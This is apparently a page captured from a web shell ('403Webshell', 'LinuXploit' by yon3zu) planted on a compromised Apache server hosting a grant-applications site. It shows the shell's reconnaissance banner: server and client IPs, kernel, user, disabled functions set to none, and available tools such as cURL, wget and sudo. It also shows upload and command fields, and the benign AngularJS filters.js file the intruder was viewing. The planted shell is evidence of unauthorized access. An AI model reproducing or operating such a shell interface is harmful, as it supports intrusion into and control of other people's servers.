403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplications.org/abot/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplications.org/abot/js/filters.js
app.filter('dateFormat', function myDateFormat($filter){
  return function(text){
    var  tempdate = new Date(text.replace(/-/g,"/"));
    return $filter('date')(tempdate, "MMM d, yyyy hh:mm a");
  }
});

app.filter('prettify', function myPrettify($filter){
  return function(value) {
		var prettified = value.replace(/[\_\-]/g, " "); 
		return (prettified + ' ').replace(/^([a-z])|\s+([a-z])/g, function ($1) {
			return $1.toUpperCase();
		});
  }		
});

app.filter('uglyify', function myUglyify($filter){
  return function(value) {
		var prettified = value.replace(/[\ \-]/g, "_"); 
		return (prettified + '').replace(/^([a-z])|\s+([a-z])/g, function ($1) {
			return $1.toLowerCase();
		});
  }		
});

app.filter('removePastTense', function myRemovePastTense($filter){
  return function(value) {
		return '' + value.replace("disassembled", "disassemble").replace("Disassembled", "Disassemble");
  }		
});

app.filter('prettifyMachine', function myPrettifyMachine($filter){
  return function(value) {
		var prettified = value.split("_"); 
		return (prettified[0] + " #" + prettified[1]).replace(/^([a-z])|\s+([a-z])/g, function ($1) {
			return $1.toUpperCase();
		});
  }		
});

app.filter('isEmpty', [function() {
  return function(object) {
    return angular.equals({}, object);
  }
}]);

app.filter('xNull', [function() {
	return function(value) {
		if(value == null || value == "null" || value == 'undefined')
		{
			value = "";  
		}
		return value;
	}
}]);

app.filter("ucwords", function () {
    return function (input){
        if(input) { //when input is defined the apply filter
           input = input.toLowerCase().replace(/\b[a-z]/g, function(letter) {
              return letter.toUpperCase();
           });
        }
        return input; 
    }    
})

app.filter('tel', function () {
	return function (tel) {
		if (!tel) { return ''; }
		var value = tel.toString().trim().replace(/^\+/, '');
		if (value.match(/[^0-9]/)) {
			return tel;
		}
		var country, city, number;
		switch (value.length) {
			case 1:
			case 2:
			case 3:
				city = value;
				break;

			default:
				city = value.slice(0, 3);
				number = value.slice(3);
		}
		if(number) {
			if(number.length>3) {
				number = number.slice(0, 3) + '-' + number.slice(3,7);
			}
			else {
				number = number;
			}
			return ("(" + city + ") " + number).trim();
		}
		else {
			return "(" + city;
		}
	};
});

Youez - 2016 - github.com/yon3zu
LinuXploit